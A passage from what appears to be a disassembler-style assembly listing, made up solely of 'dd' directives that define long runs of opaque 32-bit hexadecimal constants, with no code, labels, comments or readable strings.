74FEAE44h, 809DBC3Ch dd 0F8B1CAF7h, 0E43303BDh, 9489BFE7h, 981927F8h, 0F0A7AE1Ch dd 4BF38FD2h, 84ADF95Eh, 0B3527185h, 9D291373h, 0AD3952FAh dd 2C25C4C9h, 4009E844h, 8684E1ADh, 1E7709AAh, 5562E36Ch dd 0DF0C4057h, 60C1BF96h, 0C38B6B30h, 0AA172912h, 6A5F4B8Ah dd 0C0A84A24h, 46C780C2h, 7DD6B92h, 75A9D612h, 1D452F4Dh dd 40923522h, 70ED3E3Eh, 0F477137Bh, 4152C491h, 2D8D89B3h dd 37AB2B01h, 0FA150012h, 0C9006785h, 92FC9744h, 2FBD70EEh dd 0BFFC897Bh, 4E867E4Ch, 23E7C4h, 813C2E0Ch, 8864E8h dd 23EB6A2Ah, 9D09B130h, 8A84AD4Ah, 23B46BEAh, 0E19E1214h dd 0D96E7FE8h, 1F6E7907h, 648540F4h, 0C5047757h, 29A19D33h dd 4AB959E4h, 903FAA23h, 0C168162Ch, 60680FFCh, 0D4E1DA1h dd 807C60ABh, 0ABA21CDFh, 9701D05Fh, 907C1E09h, 0B00D73F6h dd 6E8400D7h, 0BB9030BCh, 0AE76FCCEh, 16B46A70h, 0C60902DCh dd 0F2D1492Dh, 441615D7h, 39C2FF2Ah, 5A575E16h, 8F60626Dh dd 971EC012h, 5DA512D9h, 0F5807F65h, 58967836h, 0F11A4B2Ah dd 0A0FD3775h, 3BD1725Dh, 0AA166345h, 4E36B8A2h, 41F892E9h dd 0CE5C9902h, 0F8523B8Fh, 260520A1h, 4D205090h, 0EED0B70Fh dd 0E66F4B25h, 6DEFA074h, 3A73BD29h, 48CF81C1h, 9778B2FCh dd 0A1E7DB82h, 61BB85A7h, 4A0B7A95h, 0DFAEB2F3h, 0DD5E7C4Ch dd 4B5C9FA0h, 603FCCB5h, 5A1EEEF6h, 0FD65B7B3h, 0D440B788h dd 250B1646h, 9D62DE66h, 0BFA0EE5Fh, 0CB3B3C35h, 6C275CCAh dd 0F8D850D3h, 9A5D97ACh, 0A1F168h, 1463486Bh, 0AA021FA4h dd 6DBAD566h, 0D68B5E4Eh, 110A1646h, 3ECD3290h, 0BB750C4h dd 5C90D5F5h, 68D0619h, 83F98D29h, 0F2FFE917h, 3287AAEh dd 4945BF94h, 0C18BF916h, 38E46A20h, 2A898DF8h, 0E3FE1840h dd 6D3B01DEh, 8BF5EF05h, 317561C6h, 0CED87F37h, 0E437006Fh dd 0DC3315EBh, 0D23A8C1Ah, 2AC480A5h, 0E5087E4Eh, 80F9BD22h dd 0CC6193A6h, 1DFC78A2h, 9DE00E7h, 0C4B1FE4Bh, 5A71CE69h dd 73D29DA2h, 5A602438h, 67BC1BADh, 0FE125D97h, 15E1FCE6h dd 522D950Fh, 21E876FDh, 0D566B7h, 2F28BCC6h, 0A07C26C8h dd 5C64AC13h, 4E4FE88h, 63AE3C4Dh, 89AC81A2h, 6DC1E1Dh dd 3E87DA80h, 8B601DBCh, 0F4EBC0h, 0D976C24Ch, 0E6F5CD66h dd 3B92E400h, 0D15065EAh, 0D7ED0035h, 87789C58h, 2A011290h dd 45179273h, 6631465Bh, 799C3630h, 5E7B0043h, 442B9EDAh dd 0BE3CFE3Ch, 57D780CAh, 54C10662h, 3DA30089h, 0C7F6A291h dd 8000E51Dh, 997322FBh, 5A2AAFh, 2CF2A09Ah, 4FEE0349h dd 1C0EA139h, 0F78E4BEAh, 408AA0FCh, 1FB6D0h, 761677E4h dd 24D4AE79h, 0B0B8FCF1h, 0FE58BE00h, 0AB6A9F9Eh, 80A303B7h dd 1F2E20D0h, 73CC42F8h, 0A854C300h, 0DB5C4C06h, 0A0C50393h dd 3ADA3627h, 0EE9500AFh, 0D760561Fh, 29199F10h, 0BFE1079Ah dd 48888278h, 0EA18AB00h, 0C0B02F3h, 30A9E0Dh, 21C09008h dd 0B2EA10CAh, 0F3CE0795h, 0EE9CB11Dh, 2D3B3100h, 140C0E61h dd 318DAD19h, 0EDD0E78Bh, 11C26063h, 0D05D72DFh, 0BE754803h dd 306D408Fh, 221DC08h, 5E2E5D7Ah, 74006F04h, 0D467C738h dd 59260634h, 283DA84Bh, 742BF58h, 967F4C75h, 6A6FD2B0h dd 481F00F3h, 25983DD1h, 12062023h, 0E7BA4FD6h, 79F0C8F8h dd 0F2EA17C0h, 22034602h dd 0FCB0097h, 99256FEAh, 0AB008DF5h, 74083A2Ah, 50B7A054h dd 2857B498h, 0A30F08Ah, 0CC222FD6h, 0C27F80BCh, 83F1D08Eh dd 35E2A300h, 72B442E8h, 3DDA00BFh, 0F2FCD39Dh, 127EC1F6h dd 807C6000h, 27041965h, 0D8F07D5h, 0B21B5B8Ah, 54E0B232h dd 6000F415h, 0CEA3DD48h, 0B3F0C9h, 3A5DECA9h, 1826AA5Eh dd 7500B574h, 0B2CB9420h, 0CD63B81h, 0EE332499h, 21C0A708h dd 1FB2F371h, 0FD40007h, 412CA0D7h, 680062ACh, 0BC5BBEBAh dd 703B2EEAh, 0A54D0039h, 4104F5A0h, 0F9009F1Eh, 355D492Fh dd 44BAB2h, 0E025B420h, 77BFA587h, 8385F180h, 0ABB47103h dd 4955708h, 69074520h, 0E81E1F6Ah, 0BD18A798h, 0C451442Fh dd 1F217506h, 107005h, 0C01DB527h, 5EF46207h, 8C12B400h dd 11F95143h, 0EAF812ABh, 154B00B5h, 4531DCDBh, 8C355700h dd 808139F1h, 6D951FB3h, 0E299C09Ch, 0EC3F2944h, 40CE7200h dd 41F5BE4Fh, 426601FCh, 0DF095B85h, 0CF38D447h, 0CCE1120Fh dd 0CD53C0A4h, 6D9D7Fh, 18BC99B4h, 0DD476710h, 8063963Fh dd 0E266EFADh, 98BF9CE1h, 32F90067h, 917FED44h, 8C00DCE0h dd 0D7A5B0D4h, 789B47Bh, 0D9027D24h, 4906D001h, 72007842h dd 91EBDEBBh, 11E949Fh, 0BCF4EEF5h, 0F0B6D452h, 9AE83BEAh dd 0D100F27Eh, 0C2B5595Dh, 66BDF6BEh, 212208CAh, 5DD9FD00h dd 0CE51705Ch, 0F75F0119h, 15B316BDh, 8C2BC83Bh, 0BEB2250Fh dd 81772045h, 7B0EDh, 90FB638h, 2E1B75BBh, 669A28C0h, 38EDC625h dd 9D807E8Fh, 23B63EF6h, 8500C175h, 15B1F4ADh, 129A917h dd 0E3C7998Ch, 0C5BD1DDEh, 3E2081E2h, 0EB42B13Ah, 611204Fh dd 0A9209894h, 8F5580EAh, 0A53ED8C0h, 39E40D1h, 0B3925E68h dd 0E9E00476h, 20C09DAEh, 7B5DBAB6h, 6E2303D5h, 361B8A1Ah dd 21B30832h, 88F661DFh, 64C87C8h, 0B254A0ECh, 0ED46485Eh dd 0D17B5902h, 0B2314E23h, 7B41DB10h, 37176B03h, 0F2A958CFh dd 2FC0A132h, 2985A00Ah, 40E5BD23h, 0A98A9684h, 88E90876h dd 8DAE0229h, 0F0080383h, 0EC00F492h, 0C88EBE88h, 562EDB3h dd 8C9F8602h, 99AC043Ch, 1E874398h, 0A739050Eh, 40A2A108h dd 0E6E91AB0h, 0BC78307Bh, 0F09AEF12h, 0C0EC2408h, 0B5585DD0h dd 2722DA46h, 5DD8FC01h, 8849CCEDh, 48B5B1ECh, 50014AEh dd 9CCE0E1Fh, 0CDF889A0h, 0B718CF60h, 30818F6Ah, 7010BD91h dd 0C0F00660h, 8CB21F28h, 0B8024945h, 7B5330E7h, 7E23D711h dd 0E180B088h, 0C5077B5Bh, 9D8079Fh, 47709464h, 9510CCD2h dd 0CDB90312h, 3782145Dh, 879B2B71h, 9E91BDF0h, 98473CF0h dd 0EA8C802Ah, 0CDE92Dh, 0D3D25389h, 1ADDA1DBh, 5ED1DF1Fh dd 5C7C4D40h, 30570336h, 59500D8Dh, 69C08056h, 12F416C2h dd 7111008Bh, 8F52D9ADh, 9E50A5A1h, 0F0E1D080h, 0FA641206h dd 0D640E6A0h, 0E399A525h, 36DDE4A0h, 56F01202h, 0A81C1F87h dd 3508ACE8h, 1B2C07C4h, 458C4F7Ah, 0B08B8248h, 6814E992h dd 384108Bh, 74E2B77Bh, 0CC3DF1C0h, 0B585250Ch, 7BD86884h dd 0B1C90270h, 2862A60Dh, 0D9BD0460h, 3F05C492h, 3C77A946h dd 0B1B38C45h, 0F076DC21h, 5552EC00h, 92818560h, 17115E1h dd 683021EAh, 0E4560160h, 0FB011B7Ch, 2C6348D5h, 3AE0D1DDh dd 9CF502D8h, 0DF0D2FF0h, 0F40B7C45h, 72C1006Ch, 74DDCA39h dd 0A4260556h, 4150DCFCh, 53D72C80h, 0A3E443C4h, 3E68A903h dd 0F782DCh, 4BE01249h, 0EACA89F8h, 0FA719E19h, 21801908h dd 384BE834h, 592E0D06h, 57094EA4h, 0FE140169h, 0A0925236h dd 0EB543228h, 117B5F30h, 885E23D3h, 47DD80B7h, 0EF87A47Bh dd 0D27FC205h, 0E4806EF4h, 5021B18Fh, 0B001E8A6h, 28394853h dd 88C67205h, 0DBEC0882h, 0E01CF8A0h, 923DAA45h, 24099679h dd 0C8C888C6h, 71D80D0Ch, 0BE0318F0h, 5987398Bh, 0A1E5C10Ah dd 6CA4D8BAh, 3AB44674h, 8CB5836Ch, 0A862DDA6h, 0B0104B05h dd 9D230908h, 1800EB01h, 0F19BB680h, 9A20C005h, 44005644h dd 0E0B7F896h, 160E0601h, 8DE093Ah, 0CC219562h, 5C5440F0h dd 9CE33076h, 0C8827252h, 0ED209898h, 0F854ACEEh, 152D438Dh dd 0E80A83h, 5B7ED6Ch, 12A37282h, 47E75F7h, 103D7710h dd 700A7CECh, 0B4FEBE3Ch, 0B8643691h, 0B7F46040h, 0EE0121E4h dd 0B7ECC8C0h, 200D3FCBh, 5083B13h, 2F824Ah, 1A5BF0D4h dd 0A9FA397Ah, 0A4F17524h, 0E77D1582h, 20A08CF4h, 4DB5837h dd 4889F010h, 0F38C76CCh, 4DB5E060h, 2688CC3Ah, 5DDCF880h dd 1EBC7FACh, 0F056C412h, 86F96CA1h, 0BE6F2C13h, 5CA1BB00h dd 3B60FA94h, 449EA237h, 36EFC178h, 20E32890h, 0AF323A34h dd 2C54B08Dh, 48CF190h, 0B5535DD7h, 202A6232h, 0E85DDFF7h dd 89985530h, 2E735782h, 389F28h, 8461E1D7h, 3A0F9EC1h dd 0D2BCA1EAh, 28C7C04h, 64C8650Ah, 0B7B06742h, 8CDE01E6h dd 0F69344h, 75DBB7EAh, 53C83CD6h, 56116E0Ch, 7DD42183h dd 542800CEh, 5F1B52C4h, 0A0900214h, 8020A045h, 0E5F840F5h dd 3310B49Ah, 292ABFB7h, 247464Ch, 1E3B7F5h, 119C31F6h dd 20BAEDCBh, 0E4E9470Ah, 27467EACh, 76310772h, 74A9F19Dh dd 0A120C2ABh, 0F7011CE4h, 0C441190Fh, 5D07A81h, 8AAD00E8h dd 0CF6FFF1Eh, 25188598h, 9A315214h, 218118F7h, 270348A4h dd 4434A926h, 7908E90Ch, 1B75120Dh, 525802F5h, 0B4673EF1h dd 0D86018C4h, 0CD0095D0h, 1C45F65h, 9A0F7D37h, 2355037Ch dd 4EB354EAh, 421AF6A9h, 0F33041B4h, 1E511B7h, 809D88E6h dd 24B7EBC9h, 0BD092731h, 87B2C89Ch, 4AC3051Ch, 17C00026h dd 0F7112CE9h, 8EFD85B9h, 0A069E3F8h, 0BCB8855h, 1D4E3A6Eh dd 0FC13A87h, 897DD1E4h, 27408335h, 0CED08Dh, 1D471358h dd 3EBB39E9h, 0E8DC5A48h, 0B8098C27h, 43CAFCDh, 7C408830h dd 8362A12Ch, 0BA315A7Ch, 0ECDC1926h, 41BCB0E1h, 8DF3D101h dd 0A9E90589h, 9DD198C8h, 0D9012418h, 6B911853h, 6044BAF0h dd 94A3F483h, 0E0D49906h, 0D302ED46h, 0D2B55F5Dh, 0FB102131h dd 48F45DDBh, 0FE008B75h, 0D9B0B1AAh, 0FA2F0192h, 8FFCA019h dd 0B99130A9h, 8E53F6C0h, 0EDAD71Fh, 12C7E0Fh, 8D368728h dd 3075BBDCh, 9A9004BFh, 0B0C3565h, 48127157h, 91CA00F2h dd 76B347EAh, 3A5DF752h, 9DB9089Ch, 370503CBh, 0A0C095D6h dd 0D3036BF3h, 98177F2h, 0B62002C6h, 0DBEE1B0Eh, 7523209Eh dd 7F540198h, 0D471495Bh, 39006101h, 0FA8D09E5h, 0C0EAA26Dh dd 0DDC825C9h, 5D092705h, 4A09EF4h, 0E560D9A0h, 8923F34Bh dd 1E11F2h, 934BED31h, 3367E8h, 0A108367Ch, 75B189E4h dd 98A0B56Ah, 19F4674h, 0C97582Ah, 19808455h, 57FA4556h dd 65E877BBh, 93F06400h, 0CBB3B681h, 0B25533B9h, 309E5270h dd 1FDDE4A0h, 41207683h, 35448CAh, 0E5DA7466h, 0D110B119h dd 25A1890h, 8C6F0B3Ch, 0E4C0E0ECh, 0E60E7143h, 52231D3Fh dd 70080C16h, 7B5CC0E8h, 665C23D4h, 44E0E0D0h, 3CE037Bh dd 0C9551668h, 0D06A31B8h, 2FB7D0A0h, 5492A978h, 8EA37E00h dd 0BC504277h, 59C70008h, 131E9720h, 0CB010304h, 0FF55D951h dd 76C93D18h, 0F94A70h, 13623036h, 0A1E18BD3h, 1CFDEE00h dd 6A58838Dh, 0F07C0042h, 14375728h, 9D00E1EAh, 0DB1C71B8h dd 3E296ABDh, 0B09F7C83h, 232EC0FBh, 0C0A34711h, 2F003CE2h dd 84A0B768h, 2CDCB4h, 176993F9h, 154989ADh, 0C35D4600h dd 0EA635053h dd 76D00012h, 403E5BDEh, 0F8009775h, 0B569A5D4h, 94FAABh dd 85CB4FA3h, 7019F915h, 6E555B24h, 98DB7300h, 0EDAFA37h dd 265FACC0h, 0C06154C4h, 2C93A091h, 5510E101h, 25433AB3h dd 48E015D1h, 7D6E82Ah, 650692A8h, 4CFD0027h, 94068488h dd 7AAD811h, 924E0318h, 0FC59145h, 0E04AF5E1h, 0C0783823h dd 46D0950Ch, 18B32808h, 612C9718h, 660036A0h, 0C5B52DAAh dd 1490A8EFh, 0E92778DBh, 0C607B358h, 3CFC1604h, 29322530h dd 10A02812h, 200979Ah, 75160D09h, 606782BCh, 0E56D782Ah dd 5B6891CCh, 7D631CD1h, 50191842h, 5B1BC075h, 0A0640FFEh dd 11216498h, 80A1E2B8h, 0A16C5130h, 11515C21h, 0C9C0610h dd 0C300747Bh, 1D3E9AA6h, 60AAE545h, 0D5B32013h, 0FC00A5A9h dd 0A6A86115h, 10E1168h, 90ED5EE0h, 874A7ECBh, 49F345B1h dd 0E3FB630Fh, 35F819Ch, 3172D2D0h, 7E511B78h, 19318115h dd 1E940D02h, 90CCF0h, 68BC0E04h, 0CD8B22BDh, 0C83245B8h dd 208D7855h, 6BBE5648h, 2BCE1C05h, 0A004B7E3h, 4E4192D0h dd 4061669Ah, 0E058D898h, 3AF82F00h, 230B568Ch, 201000E2h dd 145030DDh, 9230CC5Ch, 0D8EF7902h, 24D950C5h, 0DE4D8847h dd 177E301Eh, 987D8B8Eh, 0F13EC1h, 9CAE5A84h, 32651636h dd 61CEB505h, 0B05CB7A3h, 580BACC7h, 706556D1h, 0D88A38BEh dd 0EDC343Eh, 50580679h, 1C4908C5h, 0BC401C40h, 7DFB4680h dd 9AB33FCh, 398BA24Ah, 6ABE2000h, 0DD001648h, 892F327Ch dd 0A037ABA4h, 149CF4A2h, 0F4DCC0DFh, 5E73007Ch, 180AC22Ah dd 61C127EBh, 40B67E9Ah, 3A96B09Ch, 527F03F9h, 753A5E9Ch dd 61C51806h, 2C9B1A4h, 24E14B48h, 0E4A712AAh, 0E4800968h dd 0FBFC93F7h, 89535212h, 2B6FB004h, 0E7E40C1Fh, 0AA114819h dd 0FB1A3227h, 0C00559B2h, 0EDA84364h, 6E5E6D0h, 6935AA8Ch dd 0E4004274h, 0F87EE7AFh, 12C54DD1h, 0ECAA09h, 3AA7BC08h dd 8F02F321h, 155169BEh, 33660A4h, 88A20033h, 0F395C13Bh dd 23078683h, 9C3A96C6h, 0DBF0E9h, 0D74309DAh, 4AD8F6DFh dd 4208A500h, 0CDEFE228h, 3DB797Bh, 0C3724745h, 4878DFDCh dd 0F7B3081Bh, 0F271F920h, 303E609Eh, 39B27869h, 0F489800h dd 0D39D17A5h, 0FB0F6A7h, 45545AAAh, 7B067A60h, 0D107E343h dd 9C5B158Ch, 0A9EA3B20h, 8E40C33h, 4551D31Ah, 0F9B71818h dd 23D7270h, 0F898018Dh, 0DA007A63h, 3A3FC40Dh, 4C18D789h dd 0F618C643h, 846241C6h, 4E53F29h, 152DA980h, 6CE25A99h dd 7BCE4A00h, 0D1C758E7h, 77620774h, 31850CB5h, 209754FEh dd 0B36FDB4Dh, 5F90A480h, 68205A80h, 5802606Ch, 0B7410F95h dd 0B00A6FEh, 0ABC11277h, 42995Bh, 0DABEF0C0h, 78105D72h dd 700087EAh, 0E98A4084h, 216E759h, 89642CEBh, 0EEE0C023h dd 0CB75F052h, 12338B00h, 0FA781103h, 7F2300FDh, 983197DAh dd 4700E860h, 0A29262EEh, 74D5A5h, 3682FD4Dh, 2A5D6D76h dd 48C0FAB0h, 0E3242311h, 0F4511893h, 6FA28897h, 2D2EC505h dd 94C0B9A7h, 72E7ADD8h, 6E8A03ECh, 0E8D9D49Ah, 0F4C29011h dd 3AE6560Eh, 2AC7D120h, 1A00F933h, 3CDA75FFh, 0C0F2C142h dd 0ADDE10A0h, 0CE06CCE1h, 0F1F6C25Dh, 2B20C040h, 12709737h dd 308C011Ch, 0C5EF4C80h, 609D44E5h, 12714178h, 0A0F01E6Bh dd 1A4FBE07h, 0F23037Fh, 0A4408D5Bh, 37F1CF5Eh, 0FE260046h dd 7FC7E4C4h, 0A73A47D7h, 0FA486073h, 23C5Fh, 84D8D48Fh dd 0CB726F18h, 0B801D5E8h, 0C4E98747h, 0C0609FCFh, 0E8C9F65Ch dd 2019605Eh, 9AE98F1Dh, 30F92B00h, 0B0CBB7D8h, 0CE2A3983h dd 8A87C580h, 936E42B8h, 2E328900h, 4A2B2031h, 1F7D0Bh dd 0B052CDE7h, 9CA35C4Bh, 0D5406D7Eh, 0F800E9B5h, 0E66DD6F7h dd 0DE002290h, 78D4D13h, 965B9D84h, 52C3614Eh, 8850E183h dd 38DD6230h, 37FADB87h, 149C09Fh, 520EAC5Ch, 402A8A61h dd 21E5C0BCh, 0B3AD0025h, 0E6F22BB4h, 0F3A3E49Fh, 83984000h dd 92D20B59h, 2D290EB4h, 828CB60Ah, 9B00E191h, 50629959h dd 0C8F7BA2h, 52E4F8B5h, 0A700F641h, 2A50409h, 18D3BC96h dd 90F57ABBh, 0EAA0FF72h, 6A02A91Bh, 2FEB9658h, 559C8057h dd 36039064h, 0A8102BFEh, 292AB1FEh, 41A0BC5Ch, 4003E39Fh dd 0C12C2512h, 76180C13h, 182022AAh, 3241AC00h, 4AADEA9Eh dd 0F4970A58h, 40708EE6h, 0D21659B4h, 91229A46h, 59ACEA01h dd 1DE4C938h, 0ECEFE3D8h, 0DC5220A0h, 7BA8CE07h, 0FF5557h dd 0F09EAA77h, 0F581C029h, 17F89DDBh, 19C7395Ch, 2708EEACh dd 0D1622180h, 1C01CE9Dh, 0CB883813h, 0AB89571Ch, 0EB040098h dd 3E0EEA3h, 0F70FAC19h, 3800AA86h, 4AC1DB2Ah, 1F99F85h dd 673C705Bh, 0D8F1C222h, 6B00A98Ch, 55E99951h, 2A5E05Dh dd 25970A15h, 94A1C521h, 26701885h, 0E97C0274h, 31A7CFC7h dd 85101042h, 0F26D00E9h, 247D89Dh, 0A909C711h, 6542F9h dd 0DE2C773Ch, 0D01554EEh, 6C0B0038h, 8110AB86h, 603A93CAh dd 21BC308Eh, 6C13EAh, 0AC7E1BD0h, 604E01F3h, 97F6CC18h dd 0FA69E9h, 8F675E2Eh, 0B37C5B19h, 22504B12h, 0B461200Ah dd 32D9BCA1h, 5E040218h, 7F126452h, 30850C82h, 35085989h dd 64B562D2h, 0A1E34084h, 0B76B59h, 0C8A0D198h, 0CB47D2CDh dd 13212098h, 0E9738175h, 18BFCFD8h, 9A91885Bh, 0CDE5E90Eh dd 0E067E0E2h, 13AED48Dh, 38542F8h, 3E5D2B61h, 0FF1F4F90h dd 0CC904B14h, 0FAB60080h, 0DC1A056Bh, 3776A3h, 0EBD061A9h dd 7AF9B310h, 5F68B000h, 7857B82Bh, 5258C088h, 5173A902h dd 55402E01h, 0FFB0EE9Ch, 8402BC25h, 59B53089h, 82D21112h dd 7EF9038h, 0A55859ADh, 5599A06Eh, 2F6192A9h, 73E996A0h dd 7BE906DBh, 393FEFDCh, 43DC482h, 2B027506h, 3D450010h dd 35408676h, 3000D6A6h, 3E84744Fh, 3053B74Ah, 2F20472Eh dd 0C200802Bh, 0F428FDE2h, 788E54F0h, 0B3FC0017h, 1F52EECEh dd 0E400D746h, 1D5E7083h, 1CA963A3h, 0C057CBA7h, 0D72B056Dh dd 0AC00354Dh, 943C32C0h, 8C9DA5h, 0A32FB758h, 1619D32Bh dd 0C93A7B00h, 9CE71BA6h, 8B07003Ch, 6BB08821h, 3300140Bh dd 0F6C677FDh, 0E63EFEh, 0C28A6D07h, 7611B806h, 3685A00h dd 23699855h, 50BF3CABh, 0A32B3100h, 89EDEE44h, 7BAC0813h dd 9BC4A03h, 35BAD149h, 0C025DAFFh, 219A9Dh, 0FCE8E7D8h dd 412724A1h, 471D040Fh, 954FC04Ah, 8B8468h, 0F4F0BC6Ah dd 0C6BB3C3Dh, 0C91A1803h, 0C08DA602h, 7D1767h, 5F7410ADh dd 49CBFEB1h, 472A570Fh, 110B60E8h, 3A415DDh, 4A9A4B14h dd 65B0C8EEh, 61E4BD60h, 2218FC00h, 5EA93BECh, 8F7D0016h dd 155A47CAh, 0DE0AAB3Ah, 0F09E434Eh, 0A75C688Eh, 5E80F886h dd 0A9DC0Ch, 4AFD3A39h, 0C3C971D2h, 0C499A61Ch, 1D745E80h dd 143D70BEh, 0A4EC90DCh, 0AEF88809h, 8118C90Ah, 7A74CCD2h dd 55A08058h, 0F0CEB407h, 67A000FEh, 4AEEF399h, 0DC0118B6h dd 338064E8h, 92C0854Eh, 820503CFh, 0DA16D397h, 8766D8D0h dd 0B1E12D26h, 0EA3AEB00h, 4A0F9Bh, 75D2FC99h, 0E30209A6h dd 3D11D800h, 3B543EE8h, 0E5E00078h, 0BA246D39h, 513A20FDh dd 7DBD128Bh, 601A080Eh, 0CD2CFCFAh, 0AD060389h, 0B8A9FEF2h dd 1A21E016h, 7100E854h, 1B55C206h, 6F073A1h, 401DDFDEh dd 8500E064h, 0B07212F2h, 3A6B826Ah, 9C00863Eh, 6ED65721h dd 70006450h, 0D270956h dd 0E139A4Ch, 0F492A68Bh, 0F9F1A7h, 4AC5B391h, 940301E4h dd 0E911C002h, 0A17DA08Bh, 4868C378h, 0B6DA4A12h, 49333C40h dd 7156E103h, 0D73FB752h, 1B4C63D0h, 0F8DD0025h, 5F54A619h dd 8C286E0Dh, 0D677CC2Ch, 0A7F5E00h, 529D874Dh, 0A141001Ch dd 0B8AD70BAh, 0B2E66F99h, 8494213Dh, 7F67642Fh, 4FBF0080h dd 8CA300A7h, 0A3156DBh, 58E84176h, 59BA2807h, 0A1901A8Bh dd 2B1DE8h, 2E807447h, 68F38DC0h, 4A3C3300h, 75B70984h dd 4ED8132Bh, 0EE3020DDh, 68788C5Ah, 0F697E300h, 0D11E5BAEh dd 0FB7D9Eh, 0DBD27407h, 4E64DFB4h, 6B110800h, 34ABE2CCh dd 6F3D00BEh, 0A03F9375h, 9CB820BBh, 0DF001490h, 0F658374Ch dd 0E0CE897Bh, 3D18C099h, 0DA1A8C52h, 0EF027078h, 498F29CCh dd 0ACD54183h, 0B0BD9920h, 0E2D4608Eh, 0DE4FFA3Ah, 4DA2280Fh dd 98C58062h, 0AE0E7Dh, 0CB02209h, 0BCAAC1FEh, 861FDAF8h dd 0D4C052B9h, 15A711E5h, 0D3E10264h, 635CF26Ch, 700FD7E0h dd 0D7C7B800h, 0FC938F53h, 4D990F5Bh, 224F6B42h, 2798E800h dd 3D019AB3h, 0E6869665h, 0F6F0C81Fh, 1B8F0506h, 898C59h dd 634099A1h, 9200F173h, 0AC9B7C86h, 3E21B083h, 480E11CCh dd 4CE9932h, 0A20D1C00h, 0EF061667h, 29B2286Bh, 2D0A30A8h dd 7257252Ah, 0C2F18701h, 0AB70CCECh, 6ADAD440h, 0FB883909h dd 0F5E84680h, 0F277A24Dh, 8670C800h, 0CF9E3325h, 0F9FF0195h dd 0FC3A14C5h, 42E6F0AEh, 8DA95004h, 508067E3h, 3C5B7D2h dd 0E44C11Fh, 0E0034775h, 3F17987Bh, 77900399h, 0F1D9C7B5h dd 0D09429F0h, 32D49003h, 0E8458173h, 5051B6h, 0DACC2855h dd 22C4589Eh, 474A949h, 0A24FDF3Eh, 63ECF281h, 0CC89A0EFh dd 30C49834h, 0F53CC695h, 5AFADF9Eh, 25055600h, 23723A91h dd 0D99604CAh, 808E6D06h, 5897AF5h, 8F975801h, 0F93254C2h dd 0A08D1EE0h, 7EEAC0h, 0DA956C51h, 0DE6656D1h, 0E284D414h dd 930500D8h, 82BC3311h, 390F00A0h, 0F3C6BE94h, 4E00719Dh dd 6F6C9E73h, 1D6E58D3h, 401A4AA8h, 74018223h, 48020E2Ah dd 0B0EF2860h, 0E2450F7h, 12EAB983h, 0BA5A2E3h, 9E1DC5E0h dd 98180A24h, 57C62204h, 0ECD96CC1h, 0EE11F3ECh, 0AF1F3B08h dd 0F8372000h, 0AB0E0287h, 9093D900h, 0FEDA8955h, 26920077h dd 0F450C5E9h, 11383B8Eh, 0FC9A001Ah, 45283927h, 5D650064h dd 0ACD937FEh, 0B10033DDh, 14DA8055h, 13683Dh, 9D1E57E4h dd 0BA37F1Fh, 25936D1Dh, 20AF3EC0h, 813FC4h, 0B3F55D97h dd 9A7B9B7Dh, 51DA072Ch, 2780681Dh, 961A3F59h, 0A5D42475h dd 648F386Bh, 41E08BC9h, 1D5D12B5h, 61C78A07h, 0BAF0FE94h dd 0BDA84Bh, 80FC6CE9h, 685CB2Ah, 0AA4C1E00h, 0B0678754h dd 1D437879h, 805286A9h, 63D25E02h, 0B09855B3h, 0BC285A00h dd 0B45BBF92h, 0F060002Fh, 0ADE9DD7Fh, 0AA01B90Fh, 925703BAh dd 6530C6B6h, 3EA370FAh, 67803F65h, 8528E046h, 0E9774C48h dd 64F2621Eh, 0BB811780h, 904D758h, 8083FBCCh, 7FFC580h dd 0E500B440h, 0DABDB261h, 17763BE2h, 6021FEh, 4302207Ah dd 65007924h, 7B9F38F9h, 242DE64h, 66B8BB14h, 0D48061B2h dd 0FE70BFB0h, 8639EF00h, 882276A5h, 0C2F70192h, 1BB10EF6h dd 118E3015h, 0E12C6F00h, 0B8B3DE63h, 0A8D60079h, 1E08678Ch dd 9D09D388h, 80F713A9h, 0C3440EDFh, 74B32518h, 0A18FB020h dd 30FF677Fh, 9003C64h, 71A488A3h, 3A7E79h, 5989AA06h dd 2BDE1E9Ah, 0E9499C07h, 3C275639h, 4A68F5D0h, 0B5520066h dd 0AB9B8A30h, 0BF00DBE3h, 27B16F2Ah, 1E768F98h, 0F864129h dd 4009E35h, 2B608483h, 0EA0A172Ch, 981C09h, 0FBE6FC7Eh dd 863800ABh, 95D077A9h, 82018CD8h, 5D43179Ah, 5039206Bh dd 0C9D04818h, 0C90EFFCEh, 8ED7CFC4h, 9F7982DAh, 5C10826Ch dd 0A21C80F7h, 3A7D2A9Eh, 98389117h, 0B860AEACh, 5DB4CA80h dd 3941926Fh, 0F5AFA100h, 50E5BCA8h, 0ED17414h, 8A2FC9DFh dd 0E3D37040h, 487C1780h, 0D984A100h, 8CD01D83h, 0E0990CB4h dd 0D190F2AEh, 9F0ACF08h, 3254646Fh, 0B4F700B6h, 0D5002644h dd 5F314907h, 0FD142E5h, 9F2B2487h, 79CCC940h, 0C0EE1F74h dd 90AD8300h, 42F08C18h, 10AA03D2h, 1B1D6FF9h, 0FCC1B1B0h dd 24B08600h, 3E7E139Bh, 0F82DEACFh, 0B4870046h, 0FFDEB512h dd 41002077h, 633305BEh, 3C0A6Ch, 49345AAEh, 8D2CF86h dd 38F03203h, 83A8B59Ah, 30BEB894h, 374A3AE6h, 0E93ED701h dd 0E841691Dh, 9F0F147Ah, 0A0A534FBh, 397697CBh, 760E0B6h dd 8F38A3A2h, 0B423A073h, 0CE00A418h, 2572BB56h, 6BF063h dd 0CAA5CF61h, 0B48D30Fh, 49CE6000h, 25B63A59h, 6E643FFFh dd 1DD4F612h, 0A9DDC0EDh, 851423F9h, 0D111A49Ch, 896C0880h dd 8718ABh, 0E6D70EFh, 0D700207Eh, 185D6F1Ch, 734DEBh dd 83CE77CBh, 0D152F3D3h, 0DA619F64h, 826D6760h, 8E70AB10h dd 6D6FDEB0h, 5D1D5201h, 0AF721462h, 1850A770h, 60744603h dd 0C907096h, 0A42EF24Eh, 22009E23h, 0A01E9042h, 504560EBh dd 0DC9AD161h, 0F890B0D3h, 0A4D32C76h, 6C0A045Ch, 62A8AB87h dd 72602EC6h, 0F673186Dh, 0A4583303h, 1AE3558Bh, 682EFB12h dd 9C79FC59h, 0F9FAF218h, 85691060h, 112A02h, 0E9D86C69h dd 6D86175Ah, 0AA772B09h, 3F4CE6ACh, 171F9DC5h, 0C891E169h dd 9DDB6C00h, 45491620h, 0B452E302h, 0D1AD9C69h, 6CD9F7Ch dd 761892A3h, 3EC2AE12h, 0E153D400h, 9BE2BEh, 866273DBh dd 70AFCDC5h, 7E004175h, 0BF47B534h, 7884B7E6h, 40F400FAh dd 562D3CAFh, 2400D652h, 0EF90681Fh, 0BA5A4Dh, 